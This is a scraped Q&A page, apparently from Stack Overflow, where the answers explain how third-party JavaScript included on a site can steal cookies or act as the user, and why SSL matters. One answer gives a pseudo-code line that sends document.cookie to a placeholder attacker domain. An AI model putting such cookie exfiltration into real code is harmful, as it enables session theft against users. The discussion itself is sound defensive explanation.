Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

When linking to an external .js file, isn't this a security risk?

Meaning if I have a website and I link to a external .js file, say for jquery or some widget service, they can pretty easy just pull by authentication cookie and then login as me correct?

What if I am under SSL?

like image 787
Blankman Avatar asked Mar 15 '11 14:03

Blankman


People also ask

Can you have external JavaScript files?

To include an external JavaScript file, we can use the script tag with the attribute src . You've already used the src attribute when using images. The value for the src attribute should be the path to your JavaScript file. This script tag should be included between the <head> tags in your HTML document.

What is more appropriate way to include JavaScript as an external file?

Create external JavaScript file with the extension . js. After creating, add it to the HTML file in the script tag. The src attribute is used to include that external JavaScript file.

Why use external js file?

It provides code re usability because single JavaScript file can be used in several html pages. An external JavaScript file must be saved by . js extension. It is recommended to embed all JavaScript files into a single file.

Where should I link my js file?

External JavaScript files are often linked to from the document <head> but this is not a requirement. You can also place the link within the document <body> element.


3 Answers

If you include Javascript or JSONP code from another domain, that code has full client-side power and can do whatever it wants.
It can send AJAX requests to automatically make your user do things, and it can steal document.cookie.

If your authentication cookies are HTTP-only, it can't steal them, but it can still impersonate the user using AJAX.

Never include a JS file from a domain you don't trust.

If your page uses SSL, all Javascript files must also use SSL, or an attacker can modify the un-encrypted Javascript to do whatever he wants.
For this reason, browsers will show a security warning if an SSL page uses non-SSL resources.

Note that JSONP is no exception to this rule.
Any JSONP response has full access to your DOM.
If security is a concern, do not use untrusted JSONP APIs.

like image 107
SLaks Avatar answered Oct 18 '22 05:10

SLaks


I can only agree with SLaks and Haochi (+1 and all).

It is extremely insecure and you should never do it even if you trust the domain. Don't trust the answers that tell you that this is not the case because they are just wrong.

This is why now literally all of the links to JavaScript libraries hosted on Google's CDN on the Developer's Guide to Google Libraries API are secure HTTPS links, even though encrypting all of that traffic means a huge overhead even for Google.

They used to recommend using HTTPS only for websites that use HTTPS themselves, now there are no HTTP links in the examples at all.

The point is that you can trust Google and their CDN, but you can never trust the local dns and routers in some poor schmuck's cafe from which your visitors may be connecting to your website and Google's CDN is a great target for obvious reasons.

like image 37
Zed Avatar answered Oct 18 '22 05:10

Zed


It depends on what do you mean by "pull". As others have said here, cookies are only sent to where it is originated from. However, a third-party (with malicious intent) file, can still send your cookies back to their server by executing some JavaScript code like

// pseudo-code
cookie_send("http://badguy.tld/?"+document.cookies)

So, only include scripts from trusted sources (Google, Facebook, etc)

like image 2
Haochi Avatar answered Oct 18 '22 05:10

Haochi